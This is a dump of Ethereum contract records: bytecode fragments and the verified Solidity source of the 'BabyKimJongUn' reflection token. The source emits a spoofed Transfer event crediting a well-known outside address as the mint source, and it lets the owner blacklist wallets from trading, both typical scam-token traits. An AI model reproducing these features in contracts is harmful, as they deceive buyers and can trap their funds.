050565b6105d5610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a906118fb565b60405180910390fd5b8060048190555050565b610675610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fa906118fb565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61074f610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906118fb565b60405180910390fd5b8060038190555050565b60045481565b60035481565b6107fb610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610880906118fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cf9061191b565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610a348160030154600554610fe590919063ffffffff16565b60058190555060008160010181905550600081600001819055506000816002018190555060008160030181905550600081600401819055505050565b60055481565b60076020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610b06670de0b6b3a7640000610af86002548561102f90919063ffffffff16565b61109f90919063ffffffff16565b9050919050565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003543411610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b749061193b565b60405180910390fd5b600454610b95346005546110e990919063ffffffff16565b1115610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd9061195b565b60405180910390fd5b6000610be134610ad5565b9050610bec3361113e565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905042816002015411610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c9061185b565b60405180910390fd5b81610c9182600001548360010154610fe590919063ffffffff16565b1015610cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc99061187b565b60405180910390fd5b610ce98282600001546110e990919063ffffffff16565b8160000181905550610d083482600301546110e990919063ffffffff16565b8160030181905550428160040181905550610d2e346005546110e990919063ffffffff16565b6005819055505050565b610d40610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc5906118fb565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e14573d6000803e3d6000fd5b505050565b610e21610fdd565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea6906118fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f169061189b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600061102783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611288565b905092915050565b6000808314156110425760009050611099565b600082840290508284828161105357fe5b0414611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906118db565b60405180910390fd5b809150505b92915050565b60006110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e3565b905092915050565b600080828401905083811015611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b906118bb565b60405180910390fd5b8091505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600201544210156111935750611285565b61119b611344565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166316934fc4846040518263ffffffff1660e01b81526004016111f69190611803565b60806040518083038186803b15801561120e57600080fd5b505afa158015611222573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112469190611499565b90506000826000018190555061126d816000015182602001516110e990919063ffffffff16565b82600101819055508060400151826002018190555050505b50565b60008383111582906112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c79190611839565b60405180910390fd5b5060008385039050809150509392505050565b6000808311829061132a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113219190611839565b60405180910390fd5b50600083858161133657fe5b049050809150509392505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b60008135905061137b81611ae8565b92915050565b60008135905061139081611aff565b92915050565b6000608082840312156113a857600080fd5b6113b260806119e9565b905060006113c28482850161141f565b60008301525060206113d68482850161141f565b60208301525060406113ea8482850161141f565b60408301525060606113fe8482850161141f565b60608301525092915050565b60008135905061141981611b16565b92915050565b60008151905061142e81611b16565b92915050565b60006020828403121561144657600080fd5b60006114548482850161136c565b91505092915050565b6000806040838503121561147057600080fd5b600061147e85828601611381565b925050602061148f8582860161140a565b9150509250929050565b6000608082840312156114ab57600080fd5b60006114b984828501611396565b91505092915050565b6000602082840312156114d457600080fd5b60006114e28482850161140a565b91505092915050565b6114f481611a32565b82525050565b61150381611a80565b82525050565b600061151482611a16565b61151e8185611a21565b935061152e818560208601611aa4565b61153781611ad7565b840191505092915050565b600061154f601183611a21565b91507f7374616b652068617320657870697265640000000000000000000000000000006000830152602082019050919050565b600061158f602783611a21565b91507f6e6f7420656e6f756768207374616b656420746f20636f76657220746869732060008301527f6465706f736974000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115f5602683611a21565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061165b601b83611a21565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061169b602183611a21565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611701602083611a21565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611741601b83611a21565b91507f6f6e6c7920776974686472617765722063616e20646f207468697300000000006000830152602082019050919050565b6000611781600f83611a21565b91507f4d696e696d756d204465706f73697400000000000000000000000000000000006000830152602082019050919050565b60006117c1601983611a21565b91507f4d6178696d756d206465706f736974206c696d697420686974000000000000006000830152602082019050919050565b6117fd81611a76565b82525050565b600060208201905061181860008301846114eb565b92915050565b600060208201905061183360008301846114fa565b92915050565b600060208201905081810360008301526118538184611509565b905092915050565b6000602082019050818103600083015261187481611542565b9050919050565b6000602082019050818103600083015261189481611582565b9050919050565b600060208201905081810360008301526118b4816115e8565b9050919050565b600060208201905081810360008301526118d48161164e565b9050919050565b600060208201905081810360008301526118f48161168e565b9050919050565b60006020820190508181036000830152611914816116f4565b9050919050565b6000602082019050818103600083015261193481611734565b9050919050565b6000602082019050818103600083015261195481611774565b9050919050565b60006020820190508181036000830152611974816117b4565b9050919050565b600060208201905061199060008301846117f4565b92915050565b600060a0820190506119ab60008301886117f4565b6119b860208301876117f4565b6119c560408301866117f4565b6119d260608301856117f4565b6119df60808301846117f4565b9695505050505050565b6000604051905081810181811067ffffffffffffffff82111715611a0c57600080fd5b8060405250919050565b600081519050919050565b600082825260208201905092915050565b6000611a3d82611a56565b9050919050565b6000611a4f82611a56565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611a8b82611a92565b9050919050565b6000611a9d82611a56565b9050919050565b60005b83811015611ac2578082015181840152602081019050611aa7565b83811115611ad1576000848401525b50505050565b6000601f19601f8301169050919050565b611af181611a32565b8114611afc57600080fd5b50565b611b0881611a44565b8114611b1357600080fd5b50565b611b1f81611a76565b8114611b2a57600080fd5b5056fea2646970667358221220644b50aa4d39b648c4c28cb3b5a599c4fa3fa49ca44030e09e547c3ab80febb164736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,361 |
0x57092291f6ccb5316f382d8f38b332a7003c616a
|
/**
*Submitted for verification at Etherscan.io on 2021-08-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyKimJongUn is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyKimJongUn | t.me/BabyKimJUn";
string private constant _symbol = "BKJUN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601f81526020017f426162794b696d4a6f6e67556e207c20742e6d652f426162794b696d4a556e00815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f424b4a554e000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a0000000000000